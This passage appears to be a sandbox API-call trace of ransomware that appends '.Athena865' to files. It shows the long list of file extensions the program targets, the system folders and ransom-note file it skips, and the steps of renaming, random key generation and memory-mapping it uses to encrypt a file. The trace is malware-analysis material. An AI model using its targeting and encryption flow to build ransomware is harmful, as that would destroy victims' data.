(lpString="dbb") returned 3 [0066.366] lstrcmpiW (lpString1="DLL", lpString2="dbb") returned 1 [0066.367] lstrlenW (lpString="vmdk") returned 4 [0066.367] lstrcmpiW (lpString1=".DLL", lpString2="vmdk") returned -1 [0066.367] lstrlenW (lpString="rar") returned 3 [0066.367] lstrcmpiW (lpString1="DLL", lpString2="rar") returned -1 [0066.367] lstrlenW (lpString="zip") returned 3 [0066.367] lstrcmpiW (lpString1="DLL", lpString2="zip") returned -1 [0066.367] lstrlenW (lpString="tgz") returned 3 [0066.367] lstrcmpiW (lpString1="DLL", lpString2="tgz") returned -1 [0066.367] lstrlenW (lpString="vbox") returned 4 [0066.367] lstrcmpiW (lpString1=".DLL", lpString2="vbox") returned -1 [0066.367] lstrlenW (lpString="vdi") returned 3 [0066.367] lstrcmpiW (lpString1="DLL", lpString2="vdi") returned -1 [0066.367] lstrlenW (lpString="vhd") returned 3 [0066.367] lstrcmpiW (lpString1="DLL", lpString2="vhd") returned -1 [0066.367] lstrlenW (lpString="vhdx") returned 4 [0066.367] lstrcmpiW (lpString1=".DLL", lpString2="vhdx") returned -1 [0066.367] lstrlenW (lpString="avhd") returned 4 [0066.367] lstrcmpiW (lpString1=".DLL", lpString2="avhd") returned -1 [0066.367] lstrlenW (lpString="db") returned 2 [0066.367] lstrcmpiW (lpString1="LL", lpString2="db") returned 1 [0066.367] lstrlenW (lpString="db2") returned 3 [0066.367] lstrcmpiW (lpString1="DLL", lpString2="db2") returned 1 [0066.367] lstrlenW (lpString="db3") returned 3 [0066.367] lstrcmpiW (lpString1="DLL", lpString2="db3") returned 1 [0066.367] lstrlenW (lpString="dbf") returned 3 [0066.367] lstrcmpiW (lpString1="DLL", lpString2="dbf") returned 1 [0066.367] lstrlenW (lpString="mdf") returned 3 [0066.367] lstrcmpiW (lpString1="DLL", lpString2="mdf") returned -1 [0066.367] lstrlenW (lpString="mdb") returned 3 [0066.367] lstrcmpiW (lpString1="DLL", lpString2="mdb") returned -1 [0066.367] lstrlenW (lpString="sql") returned 3 [0066.367] lstrcmpiW (lpString1="DLL", lpString2="sql") returned -1 [0066.367] lstrlenW (lpString="sqlite") returned 6 [0066.367] lstrcmpiW (lpString1="LM.DLL", lpString2="sqlite") returned -1 [0066.368] lstrlenW (lpString="sqlite3") returned 7 [0066.368] lstrcmpiW (lpString1="SLM.DLL", lpString2="sqlite3") returned -1 [0066.368] lstrlenW (lpString="sqlitedb") returned 8 [0066.368] lstrcmpiW (lpString1="DSLM.DLL", lpString2="sqlitedb") returned -1 [0066.368] lstrlenW (lpString="xml") returned 3 [0066.368] lstrcmpiW (lpString1="DLL", lpString2="xml") returned -1 [0066.368] lstrlenW (lpString="$er") returned 3 [0066.368] lstrcmpiW (lpString1="DLL", lpString2="$er") returned 1 [0066.368] lstrlenW (lpString="4dd") returned 3 [0066.368] lstrcmpiW (lpString1="DLL", lpString2="4dd") returned 1 [0066.368] lstrlenW (lpString="4dl") returned 3 [0066.368] lstrcmpiW (lpString1="DLL", lpString2="4dl") returned 1 [0066.368] lstrlenW (lpString="^^^") returned 3 [0066.368] lstrcmpiW (lpString1="DLL", lpString2="^^^") returned 1 [0066.368] lstrlenW (lpString="abs") returned 3 [0066.368] lstrcmpiW (lpString1="DLL", lpString2="abs") returned 1 [0066.368] lstrlenW (lpString="abx") returned 3 [0066.368] lstrcmpiW (lpString1="DLL", lpString2="abx") returned 1 [0066.368] lstrlenW (lpString="accdb") returned 5 [0066.368] lstrcmpiW (lpString1="M.DLL", lpString2="accdb") returned 1 [0066.368] lstrlenW (lpString="accdc") returned 5 [0066.368] lstrcmpiW (lpString1="M.DLL", lpString2="accdc") returned 1 [0066.368] lstrlenW (lpString="accde") returned 5 [0066.368] lstrcmpiW (lpString1="M.DLL", lpString2="accde") returned 1 [0066.368] lstrlenW (lpString="accdr") returned 5 [0066.368] lstrcmpiW (lpString1="M.DLL", lpString2="accdr") returned 1 [0066.368] lstrlenW (lpString="accdt") returned 5 [0066.368] lstrcmpiW (lpString1="M.DLL", lpString2="accdt") returned 1 [0066.368] lstrlenW (lpString="accdw") returned 5 [0066.368] lstrcmpiW (lpString1="M.DLL", lpString2="accdw") returned 1 [0066.368] lstrlenW (lpString="accft") returned 5 [0066.368] lstrcmpiW (lpString1="M.DLL", lpString2="accft") returned 1 [0066.368] lstrlenW (lpString="adb") returned 3 [0066.369] lstrcmpiW (lpString1="DLL", lpString2="adb") returned 1 [0066.369] lstrlenW (lpString="adb") returned 3 [0066.369] lstrcmpiW (lpString1="DLL", lpString2="adb") returned 1 [0066.369] lstrlenW (lpString="ade") returned 3 [0066.369] lstrcmpiW (lpString1="DLL", lpString2="ade") returned 1 [0066.369] lstrlenW (lpString="adf") returned 3 [0066.369] lstrcmpiW (lpString1="DLL", lpString2="adf") returned 1 [0066.369] lstrlenW (lpString="adn") returned 3 [0066.369] lstrcmpiW (lpString1="DLL", lpString2="adn") returned 1 [0066.369] lstrlenW (lpString="adp") returned 3 [0066.369] lstrcmpiW (lpString1="DLL", lpString2="adp") returned 1 [0066.369] lstrlenW (lpString="alf") returned 3 [0066.369] lstrcmpiW (lpString1="DLL", lpString2="alf") returned 1 [0066.369] lstrlenW (lpString="ask") returned 3 [0066.369] lstrcmpiW (lpString1="DLL", lpString2="ask") returned 1 [0066.369] lstrlenW (lpString="btr") returned 3 [0066.369] lstrcmpiW (lpString1="DLL", lpString2="btr") returned 1 [0066.369] lstrlenW (lpString="cat") returned 3 [0066.369] lstrcmpiW (lpString1="DLL", lpString2="cat") returned 1 [0066.369] lstrlenW (lpString="cdb") returned 3 [0066.369] lstrcmpiW (lpString1="DLL", lpString2="cdb") returned 1 [0066.369] lstrlenW (lpString="ckp") returned 3 [0066.369] lstrcmpiW (lpString1="DLL", lpString2="ckp") returned 1 [0066.369] lstrlenW (lpString="cma") returned 3 [0066.369] lstrcmpiW (lpString1="DLL", lpString2="cma") returned 1 [0066.369] lstrlenW (lpString="cpd") returned 3 [0066.369] lstrcmpiW (lpString1="DLL", lpString2="cpd") returned 1 [0066.369] lstrlenW (lpString="dacpac") returned 6 [0066.369] lstrcmpiW (lpString1="LM.DLL", lpString2="dacpac") returned 1 [0066.369] lstrlenW (lpString="dad") returned 3 [0066.369] lstrcmpiW (lpString1="DLL", lpString2="dad") returned 1 [0066.369] lstrlenW (lpString="dadiagrams") returned 10 [0066.369] lstrcmpiW (lpString1="CDDSLM.DLL", lpString2="dadiagrams") returned -1 [0066.369] lstrlenW (lpString="daschema") returned 8 [0066.370] lstrcmpiW (lpString1="DSLM.DLL", lpString2="daschema") returned 1 [0066.370] lstrlenW (lpString="db-journal") returned 10 [0066.370] lstrcmpiW (lpString1="CDDSLM.DLL", lpString2="db-journal") returned -1 [0066.370] lstrlenW (lpString="db-shm") returned 6 [0066.370] lstrcmpiW (lpString1="LM.DLL", lpString2="db-shm") returned 1 [0066.370] lstrlenW (lpString="db-wal") returned 6 [0066.370] lstrcmpiW (lpString1="LM.DLL", lpString2="db-wal") returned 1 [0066.370] lstrlenW (lpString="dbc") returned 3 [0066.370] lstrcmpiW (lpString1="DLL", lpString2="dbc") returned 1 [0066.370] lstrlenW (lpString="dbs") returned 3 [0066.370] lstrcmpiW (lpString1="DLL", lpString2="dbs") returned 1 [0066.370] lstrlenW (lpString="dbt") returned 3 [0066.370] lstrcmpiW (lpString1="DLL", lpString2="dbt") returned 1 [0066.370] lstrlenW (lpString="dbv") returned 3 [0066.370] lstrcmpiW (lpString1="DLL", lpString2="dbv") returned 1 [0066.370] lstrlenW (lpString="dbx") returned 3 [0066.370] lstrcmpiW (lpString1="DLL", lpString2="dbx") returned 1 [0066.370] lstrlenW (lpString="dcb") returned 3 [0066.370] lstrcmpiW (lpString1="DLL", lpString2="dcb") returned 1 [0066.370] lstrlenW (lpString="dct") returned 3 [0066.370] lstrcmpiW (lpString1="DLL", lpString2="dct") returned 1 [0066.370] lstrlenW (lpString="dcx") returned 3 [0066.370] lstrcmpiW (lpString1="DLL", lpString2="dcx") returned 1 [0066.370] lstrlenW (lpString="ddl") returned 3 [0066.370] lstrcmpiW (lpString1="DLL", lpString2="ddl") returned 1 [0066.370] lstrlenW (lpString="dlis") returned 4 [0066.370] lstrcmpiW (lpString1=".DLL", lpString2="dlis") returned -1 [0066.370] lstrlenW (lpString="dp1") returned 3 [0066.370] lstrcmpiW (lpString1="DLL", lpString2="dp1") returned -1 [0066.370] lstrlenW (lpString="dqy") returned 3 [0066.370] lstrcmpiW (lpString1="DLL", lpString2="dqy") returned -1 [0066.370] lstrlenW (lpString="dsk") returned 3 [0066.370] lstrcmpiW (lpString1="DLL", lpString2="dsk") returned -1 [0066.371] lstrlenW (lpString="dsn") returned 3 [0066.371] lstrcmpiW (lpString1="DLL", lpString2="dsn") returned -1 [0066.371] lstrlenW (lpString="dtsx") returned 4 [0066.371] lstrcmpiW (lpString1=".DLL", lpString2="dtsx") returned -1 [0066.371] lstrlenW (lpString="dxl") returned 3 [0066.371] lstrcmpiW (lpString1="DLL", lpString2="dxl") returned -1 [0066.371] lstrlenW (lpString="eco") returned 3 [0066.371] lstrcmpiW (lpString1="DLL", lpString2="eco") returned -1 [0066.371] lstrlenW (lpString="ecx") returned 3 [0066.371] lstrcmpiW (lpString1="DLL", lpString2="ecx") returned -1 [0066.371] lstrlenW (lpString="edb") returned 3 [0066.371] lstrcmpiW (lpString1="DLL", lpString2="edb") returned -1 [0066.371] lstrlenW (lpString="epim") returned 4 [0066.371] lstrcmpiW (lpString1=".DLL", lpString2="epim") returned -1 [0066.371] lstrlenW (lpString="fcd") returned 3 [0066.371] lstrcmpiW (lpString1="DLL", lpString2="fcd") returned -1 [0066.371] lstrlenW (lpString="fdb") returned 3 [0066.371] lstrcmpiW (lpString1="DLL", lpString2="fdb") returned -1 [0066.371] lstrlenW (lpString="fic") returned 3 [0066.371] lstrcmpiW (lpString1="DLL", lpString2="fic") returned -1 [0066.371] lstrlenW (lpString="flexolibrary") returned 12 [0066.371] lstrlenW (lpString="fm5") returned 3 [0066.371] lstrcmpiW (lpString1="DLL", lpString2="fm5") returned -1 [0066.371] lstrlenW (lpString="fmp") returned 3 [0066.371] lstrcmpiW (lpString1="DLL", lpString2="fmp") returned -1 [0066.371] lstrlenW (lpString="fmp12") returned 5 [0066.371] lstrcmpiW (lpString1="M.DLL", lpString2="fmp12") returned 1 [0066.371] lstrlenW (lpString="fmpsl") returned 5 [0066.371] lstrcmpiW (lpString1="M.DLL", lpString2="fmpsl") returned 1 [0066.371] lstrlenW (lpString="fol") returned 3 [0066.371] lstrcmpiW (lpString1="DLL", lpString2="fol") returned -1 [0066.371] lstrlenW (lpString="fp3") returned 3 [0066.371] lstrcmpiW (lpString1="DLL", lpString2="fp3") returned -1 [0066.372] lstrlenW (lpString="fp4") returned 3 [0066.372] lstrcmpiW (lpString1="DLL", lpString2="fp4") returned -1 [0066.372] lstrlenW (lpString="fp5") returned 3 [0066.372] lstrcmpiW (lpString1="DLL", lpString2="fp5") returned -1 [0066.372] lstrlenW (lpString="fp7") returned 3 [0066.372] lstrcmpiW (lpString1="DLL", lpString2="fp7") returned -1 [0066.372] lstrlenW (lpString="fpt") returned 3 [0066.372] lstrcmpiW (lpString1="DLL", lpString2="fpt") returned -1 [0066.372] lstrlenW (lpString="frm") returned 3 [0066.372] lstrcmpiW (lpString1="DLL", lpString2="frm") returned -1 [0066.372] lstrlenW (lpString="gdb") returned 3 [0066.372] lstrcmpiW (lpString1="DLL", lpString2="gdb") returned -1 [0066.372] lstrlenW (lpString="gdb") returned 3 [0066.372] lstrcmpiW (lpString1="DLL", lpString2="gdb") returned -1 [0066.372] lstrlenW (lpString="grdb") returned 4 [0066.372] lstrcmpiW (lpString1=".DLL", lpString2="grdb") returned -1 [0066.372] lstrlenW (lpString="gwi") returned 3 [0066.372] lstrcmpiW (lpString1="DLL", lpString2="gwi") returned -1 [0066.372] lstrlenW (lpString="hdb") returned 3 [0066.372] lstrcmpiW (lpString1="DLL", lpString2="hdb") returned -1 [0066.372] lstrlenW (lpString="his") returned 3 [0066.372] lstrcmpiW (lpString1="DLL", lpString2="his") returned -1 [0066.372] lstrlenW (lpString="ib") returned 2 [0066.372] lstrcmpiW (lpString1="LL", lpString2="ib") returned 1 [0066.372] lstrlenW (lpString="idb") returned 3 [0066.372] lstrcmpiW (lpString1="DLL", lpString2="idb") returned -1 [0066.372] lstrlenW (lpString="ihx") returned 3 [0066.372] lstrcmpiW (lpString1="DLL", lpString2="ihx") returned -1 [0066.372] lstrlenW (lpString="itdb") returned 4 [0066.372] lstrcmpiW (lpString1=".DLL", lpString2="itdb") returned -1 [0066.372] lstrlenW (lpString="itw") returned 3 [0066.372] lstrcmpiW (lpString1="DLL", lpString2="itw") returned -1 [0066.372] lstrlenW (lpString="jet") returned 3 [0066.372] lstrcmpiW (lpString1="DLL", lpString2="jet") returned -1 [0066.373] lstrlenW (lpString="jtx") returned 3 [0066.373] lstrcmpiW (lpString1="DLL", lpString2="jtx") returned -1 [0066.373] lstrlenW (lpString="kdb") returned 3 [0066.373] lstrcmpiW (lpString1="DLL", lpString2="kdb") returned -1 [0066.373] lstrlenW (lpString="kexi") returned 4 [0066.373] lstrcmpiW (lpString1=".DLL", lpString2="kexi") returned -1 [0066.373] lstrlenW (lpString="kexic") returned 5 [0066.373] lstrcmpiW (lpString1="M.DLL", lpString2="kexic") returned 1 [0066.373] lstrlenW (lpString="kexis") returned 5 [0066.373] lstrcmpiW (lpString1="M.DLL", lpString2="kexis") returned 1 [0066.373] lstrlenW (lpString="lgc") returned 3 [0066.373] lstrcmpiW (lpString1="DLL", lpString2="lgc") returned -1 [0066.373] lstrlenW (lpString="lwx") returned 3 [0066.373] lstrcmpiW (lpString1="DLL", lpString2="lwx") returned -1 [0066.373] lstrlenW (lpString="maf") returned 3 [0066.373] lstrcmpiW (lpString1="DLL", lpString2="maf") returned -1 [0066.373] lstrlenW (lpString="maq") returned 3 [0066.373] lstrcmpiW (lpString1="DLL", lpString2="maq") returned -1 [0066.373] lstrlenW (lpString="mar") returned 3 [0066.373] lstrcmpiW (lpString1="DLL", lpString2="mar") returned -1 [0066.373] lstrlenW (lpString="marshal") returned 7 [0066.373] lstrcmpiW (lpString1="SLM.DLL", lpString2="marshal") returned 1 [0066.373] lstrlenW (lpString="mas") returned 3 [0066.373] lstrcmpiW (lpString1="DLL", lpString2="mas") returned -1 [0066.373] lstrlenW (lpString="mav") returned 3 [0066.373] lstrcmpiW (lpString1="DLL", lpString2="mav") returned -1 [0066.373] lstrlenW (lpString="maw") returned 3 [0066.373] lstrcmpiW (lpString1="DLL", lpString2="maw") returned -1 [0066.373] lstrlenW (lpString="mdbhtml") returned 7 [0066.373] lstrcmpiW (lpString1="SLM.DLL", lpString2="mdbhtml") returned 1 [0066.373] lstrlenW (lpString="mdn") returned 3 [0066.373] lstrcmpiW (lpString1="DLL", lpString2="mdn") returned -1 [0066.373] lstrlenW (lpString="mdt") returned 3 [0066.374] lstrcmpiW (lpString1="DLL", lpString2="mdt") returned -1 [0066.374] lstrlenW (lpString="mfd") returned 3 [0066.374] lstrcmpiW (lpString1="DLL", lpString2="mfd") returned -1 [0066.374] lstrlenW (lpString="mpd") returned 3 [0066.374] lstrcmpiW (lpString1="DLL", lpString2="mpd") returned -1 [0066.374] lstrlenW (lpString="mrg") returned 3 [0066.374] lstrcmpiW (lpString1="DLL", lpString2="mrg") returned -1 [0066.374] lstrlenW (lpString="mud") returned 3 [0066.374] lstrcmpiW (lpString1="DLL", lpString2="mud") returned -1 [0066.374] lstrlenW (lpString="mwb") returned 3 [0066.374] lstrcmpiW (lpString1="DLL", lpString2="mwb") returned -1 [0066.374] lstrlenW (lpString="myd") returned 3 [0066.374] lstrcmpiW (lpString1="DLL", lpString2="myd") returned -1 [0066.374] lstrlenW (lpString="ndf") returned 3 [0066.374] lstrcmpiW (lpString1="DLL", lpString2="ndf") returned -1 [0066.374] lstrlenW (lpString="nnt") returned 3 [0066.374] lstrcmpiW (lpString1="DLL", lpString2="nnt") returned -1 [0066.374] lstrlenW (lpString="nrmlib") returned 6 [0066.374] lstrcmpiW (lpString1="LM.DLL", lpString2="nrmlib") returned -1 [0066.374] lstrlenW (lpString="ns2") returned 3 [0066.374] lstrcmpiW (lpString1="DLL", lpString2="ns2") returned -1 [0066.374] lstrlenW (lpString="ns3") returned 3 [0066.374] lstrcmpiW (lpString1="DLL", lpString2="ns3") returned -1 [0066.374] lstrlenW (lpString="ns4") returned 3 [0066.374] lstrcmpiW (lpString1="DLL", lpString2="ns4") returned -1 [0066.374] lstrlenW (lpString="nsf") returned 3 [0066.374] lstrcmpiW (lpString1="DLL", lpString2="nsf") returned -1 [0066.374] lstrlenW (lpString="nv") returned 2 [0066.374] lstrcmpiW (lpString1="LL", lpString2="nv") returned -1 [0066.374] lstrlenW (lpString="nv2") returned 3 [0066.374] lstrcmpiW (lpString1="DLL", lpString2="nv2") returned -1 [0066.374] lstrlenW (lpString="nwdb") returned 4 [0066.374] lstrcmpiW (lpString1=".DLL", lpString2="nwdb") returned -1 [0066.375] lstrlenW (lpString="nyf") returned 3 [0066.375] lstrcmpiW (lpString1="DLL", lpString2="nyf") returned -1 [0066.375] lstrlenW (lpString="odb") returned 3 [0066.375] lstrcmpiW (lpString1="DLL", lpString2="odb") returned -1 [0066.375] lstrlenW (lpString="odb") returned 3 [0066.375] lstrcmpiW (lpString1="DLL", lpString2="odb") returned -1 [0066.375] lstrlenW (lpString="oqy") returned 3 [0066.375] lstrcmpiW (lpString1="DLL", lpString2="oqy") returned -1 [0066.375] lstrlenW (lpString="ora") returned 3 [0066.375] lstrcmpiW (lpString1="DLL", lpString2="ora") returned -1 [0066.375] lstrlenW (lpString="orx") returned 3 [0066.375] lstrcmpiW (lpString1="DLL", lpString2="orx") returned -1 [0066.375] lstrlenW (lpString="owc") returned 3 [0066.375] lstrcmpiW (lpString1="DLL", lpString2="owc") returned -1 [0066.375] lstrlenW (lpString="p96") returned 3 [0066.375] lstrcmpiW (lpString1="DLL", lpString2="p96") returned -1 [0066.375] lstrlenW (lpString="p97") returned 3 [0066.375] lstrcmpiW (lpString1="DLL", lpString2="p97") returned -1 [0066.375] lstrlenW (lpString="pan") returned 3 [0066.375] lstrcmpiW (lpString1="DLL", lpString2="pan") returned -1 [0066.375] lstrlenW (lpString="pdb") returned 3 [0066.375] lstrcmpiW (lpString1="DLL", lpString2="pdb") returned -1 [0066.375] lstrlenW (lpString="pdm") returned 3 [0066.375] lstrcmpiW (lpString1="DLL", lpString2="pdm") returned -1 [0066.375] lstrlenW (lpString="pnz") returned 3 [0066.375] lstrcmpiW (lpString1="DLL", lpString2="pnz") returned -1 [0066.375] lstrlenW (lpString="qry") returned 3 [0066.375] lstrcmpiW (lpString1="DLL", lpString2="qry") returned -1 [0066.375] lstrlenW (lpString="qvd") returned 3 [0066.375] lstrcmpiW (lpString1="DLL", lpString2="qvd") returned -1 [0066.375] lstrlenW (lpString="rbf") returned 3 [0066.375] lstrcmpiW (lpString1="DLL", lpString2="rbf") returned -1 [0066.375] lstrlenW (lpString="rctd") returned 4 [0066.375] lstrcmpiW (lpString1=".DLL", lpString2="rctd") returned -1 [0066.376] lstrlenW (lpString="rod") returned 3 [0066.376] lstrcmpiW (lpString1="DLL", lpString2="rod") returned -1 [0066.376] lstrlenW (lpString="rodx") returned 4 [0066.376] lstrcmpiW (lpString1=".DLL", lpString2="rodx") returned -1 [0066.376] lstrlenW (lpString="rpd") returned 3 [0066.376] lstrcmpiW (lpString1="DLL", lpString2="rpd") returned -1 [0066.376] lstrlenW (lpString="rsd") returned 3 [0066.376] lstrcmpiW (lpString1="DLL", lpString2="rsd") returned -1 [0066.376] lstrlenW (lpString="sas7bdat") returned 8 [0066.376] lstrcmpiW (lpString1="DSLM.DLL", lpString2="sas7bdat") returned -1 [0066.376] lstrlenW (lpString="sbf") returned 3 [0066.376] lstrcmpiW (lpString1="DLL", lpString2="sbf") returned -1 [0066.376] lstrlenW (lpString="scx") returned 3 [0066.376] lstrcmpiW (lpString1="DLL", lpString2="scx") returned -1 [0066.376] lstrlenW (lpString="sdb") returned 3 [0066.376] lstrcmpiW (lpString1="DLL", lpString2="sdb") returned -1 [0066.376] lstrlenW (lpString="sdc") returned 3 [0066.376] lstrcmpiW (lpString1="DLL", lpString2="sdc") returned -1 [0066.376] lstrlenW (lpString="sdf") returned 3 [0066.376] lstrcmpiW (lpString1="DLL", lpString2="sdf") returned -1 [0066.376] lstrlenW (lpString="sis") returned 3 [0066.376] lstrcmpiW (lpString1="DLL", lpString2="sis") returned -1 [0066.376] lstrlenW (lpString="spq") returned 3 [0066.376] lstrcmpiW (lpString1="DLL", lpString2="spq") returned -1 [0066.376] lstrlenW (lpString="te") returned 2 [0066.376] lstrcmpiW (lpString1="LL", lpString2="te") returned -1 [0066.376] lstrlenW (lpString="teacher") returned 7 [0066.376] lstrcmpiW (lpString1="SLM.DLL", lpString2="teacher") returned -1 [0066.376] lstrlenW (lpString="tmd") returned 3 [0066.376] lstrcmpiW (lpString1="DLL", lpString2="tmd") returned -1 [0066.376] lstrlenW (lpString="tps") returned 3 [0066.376] lstrcmpiW (lpString1="DLL", lpString2="tps") returned -1 [0066.376] lstrlenW (lpString="trc") returned 3 [0066.376] lstrcmpiW (lpString1="DLL", lpString2="trc") returned -1 [0066.377] lstrlenW (lpString="trc") returned 3 [0066.377] lstrcmpiW (lpString1="DLL", lpString2="trc") returned -1 [0066.377] lstrlenW (lpString="trm") returned 3 [0066.377] lstrcmpiW (lpString1="DLL", lpString2="trm") returned -1 [0066.377] lstrlenW (lpString="udb") returned 3 [0066.377] lstrcmpiW (lpString1="DLL", lpString2="udb") returned -1 [0066.377] lstrlenW (lpString="udl") returned 3 [0066.377] lstrcmpiW (lpString1="DLL", lpString2="udl") returned -1 [0066.377] lstrlenW (lpString="usr") returned 3 [0066.377] lstrcmpiW (lpString1="DLL", lpString2="usr") returned -1 [0066.377] lstrlenW (lpString="v12") returned 3 [0066.377] lstrcmpiW (lpString1="DLL", lpString2="v12") returned -1 [0066.377] lstrlenW (lpString="vis") returned 3 [0066.377] lstrcmpiW (lpString1="DLL", lpString2="vis") returned -1 [0066.377] lstrlenW (lpString="vpd") returned 3 [0066.377] lstrcmpiW (lpString1="DLL", lpString2="vpd") returned -1 [0066.377] lstrlenW (lpString="vvv") returned 3 [0066.377] lstrcmpiW (lpString1="DLL", lpString2="vvv") returned -1 [0066.377] lstrlenW (lpString="wdb") returned 3 [0066.377] lstrcmpiW (lpString1="DLL", lpString2="wdb") returned -1 [0066.377] lstrlenW (lpString="wmdb") returned 4 [0066.377] lstrcmpiW (lpString1=".DLL", lpString2="wmdb") returned -1 [0066.377] lstrlenW (lpString="wrk") returned 3 [0066.377] lstrcmpiW (lpString1="DLL", lpString2="wrk") returned -1 [0066.377] lstrlenW (lpString="xdb") returned 3 [0066.377] lstrcmpiW (lpString1="DLL", lpString2="xdb") returned -1 [0066.377] lstrlenW (lpString="xld") returned 3 [0066.377] lstrcmpiW (lpString1="DLL", lpString2="xld") returned -1 [0066.377] lstrlenW (lpString="xmlff") returned 5 [0066.377] lstrcmpiW (lpString1="M.DLL", lpString2="xmlff") returned -1 [0066.377] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\ACCDDSLM.DLL.Athena865") returned 65 [0066.377] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\ACCDDSLM.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\accddslm.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\ACCDDSLM.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\accddslm.dll.athena865"), dwFlags=0x1) returned 1 [0066.379] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ACCDDSLM.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\accddslm.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0066.379] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=552368) returned 1 [0066.379] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0066.379] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d138 [0066.379] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519090 [0066.379] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519008) returned 1 [0066.381] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0066.381] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0066.384] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x870b0, lpName=0x0) returned 0x17c [0066.385] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x870b0) returned 0x2d50000 [0066.409] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519008) returned 1 [0066.409] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0066.409] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0066.409] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d0c0 [0066.409] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d0c0 | out: hHeap=0x4f0000) returned 1 [0066.410] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52b690 [0066.410] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0066.410] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b690 | out: hHeap=0x4f0000) returned 1 [0066.410] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0066.410] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52b690 [0066.410] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0066.410] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b690 | out: hHeap=0x4f0000) returned 1 [0066.410] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0066.410] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0066.416] CloseHandle (hObject=0x17c) returned 1 [0066.416] CloseHandle (hObject=0x154) returned 1 [0066.416] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d138 | out: hHeap=0x4f0000) returned 1 [0066.416] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519090 | out: hHeap=0x4f0000) returned 1 [0066.416] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0066.419] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x603a86d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x603a86d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="AccessWeb", cAlternateFileName="ACCESS~1")) returned 1 [0066.419] lstrcmpiW (lpString1="AccessWeb", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0066.419] lstrcmpiW (lpString1="AccessWeb", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0066.419] lstrcmpiW (lpString1="AccessWeb", lpString2=".") returned 1 [0066.419] lstrcmpiW (lpString1="AccessWeb", lpString2="..") returned 1 [0066.419] lstrcmpiW (lpString1="AccessWeb", lpString2="windows") returned -1 [0066.419] lstrcmpiW (lpString1="AccessWeb", lpString2="bootmgr") returned -1 [0066.419] lstrcmpiW (lpString1="AccessWeb", lpString2="temp") returned -1 [0066.419] lstrcmpiW (lpString1="AccessWeb", lpString2="pagefile.sys") returned -1 [0066.419] lstrcmpiW (lpString1="AccessWeb", lpString2="boot") returned -1 [0066.419] lstrcmpiW (lpString1="AccessWeb", lpString2="ids.txt") returned -1 [0066.419] lstrcmpiW (lpString1="AccessWeb", lpString2="ntuser.dat") returned -1 [0066.419] lstrcmpiW (lpString1="AccessWeb", lpString2="perflogs") returned -1 [0066.419] lstrcmpiW (lpString1="AccessWeb", lpString2="MSBuild") returned -1 [0066.419] lstrlenW (lpString="AccessWeb") returned 9 [0066.419] lstrcpyW (in: lpString1=0x241e89e, lpString2="AccessWeb" | out: lpString1="AccessWeb") returned="AccessWeb" [0066.419] RtlAllocateHeap (HeapHandle=0x4f0000, 